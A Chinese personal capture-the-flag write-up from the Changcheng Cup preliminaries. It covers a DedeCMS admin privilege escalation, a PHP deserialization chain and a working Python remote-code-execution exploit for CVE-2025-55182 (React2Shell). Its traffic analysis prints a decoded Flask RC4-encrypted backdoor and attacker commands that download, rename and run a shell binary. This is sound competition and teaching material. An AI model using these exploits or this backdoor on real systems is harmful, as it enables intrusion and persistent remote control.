第三届长城杯初赛个人WP

第三届长城杯个人WP,队友很给力,晋级半决

Web

Dedecms

https://eci-2ze6us9o68958ck4clk6.cloudeci1.ichunqiu.com/member/index.php? uid=Aa123456789&action=infos。注册登陆后发现曾经的用户,可以进入空间,测试登陆Aa123456789/Aa123456789

https://eci-2ze6us9o68958ck4clk6.cloudeci1.ichunqiu.com/dede/index.php 。登陆成功,但很多权限没有,在后台用户管理处提升普通用户test为超级管理员权限,重新登陆,获得超级管理员权限:后台执行sql语句,得到如下信息:

1
2
3
Database: dedecms 
@@basedir:/usr/
version():5.7.27-0ubuntu0.16.04.1-log

发现后台可以直接创建文件:

写入webshell会被拦截,选择直接读取文件,猜测flag在/flag.txt中,

1
2
3
<?php
highlight_file("/flag.txt");
?>

访问创建的文件:https://eci-2ze6us9o68958ck4clk6.cloudeci1.ichunqiu.com/4.php

hellogate

队友解出的,当时刚换mac不会读取图片内容,fk。。。源码藏在图片里面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
error_reporting(0);
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public $cmd;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();

很简单的php反序列化,构造链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class A {
public $handle;
}
class B {
public $worker;
public $cmd;
}
class C {
public $cmd;
}
$a = new A();
$b = new B();
$c = new C();
$a->handle = $b;
$b->worker = $c;
$c->cmd = "/flag";
echo urlencode(serialize($a));

RedJs

React2Shell,CVE-2025-55182,直接出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "https://eci2ze34mytd5l8t3rcelfe.cloudeci1.ichunqiu.com:3000/"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "cat /flag" # 命令执行
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}', {{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix":
f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

流量分析

1

过滤http流量,找到登陆爆破的最后的一个包,也是返回响应码为302的请求包,就是答案

2

攻击者使用模版注入读取配置,

读取到’SECRET_KEY’: ‘c6242af0-6891-4510-8432-e1cdf051f160’

3

发现使用了模版注入执行恶意命令,经过base64编码,解码后发现还有zlib和base64。

再解多层zlib和base64,直接循环直到明文出现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
def backdoor_handler():
if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
return "Error"
enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8',
errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

通信密钥:v1p3r_5tr1k3_k3y

4

追踪后续TCP流,可以解密通信流量(带有X-Token-Auth: 3011aa21232beb7504432bfa90d32779的 HTTP包),RC4是对称密码算法,直接用题目的代码进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import binascii
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
"""RC4加密/解密"""
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
enc_hex = "e0ac7e52fc996cc2038c2d7a3899ed"
enc_bytes = binascii.unhexlify(enc_hex)
decrypted = rc4_crypt(enc_bytes, RC4_SECRET)
print(f"结果: {decrypted.decode('utf-8')}")

解出:

1
2
3
4
5
6
7
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
Archive: /tmp/123.zip
inflating: /tmp/shell
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13

恶意文件:python3.13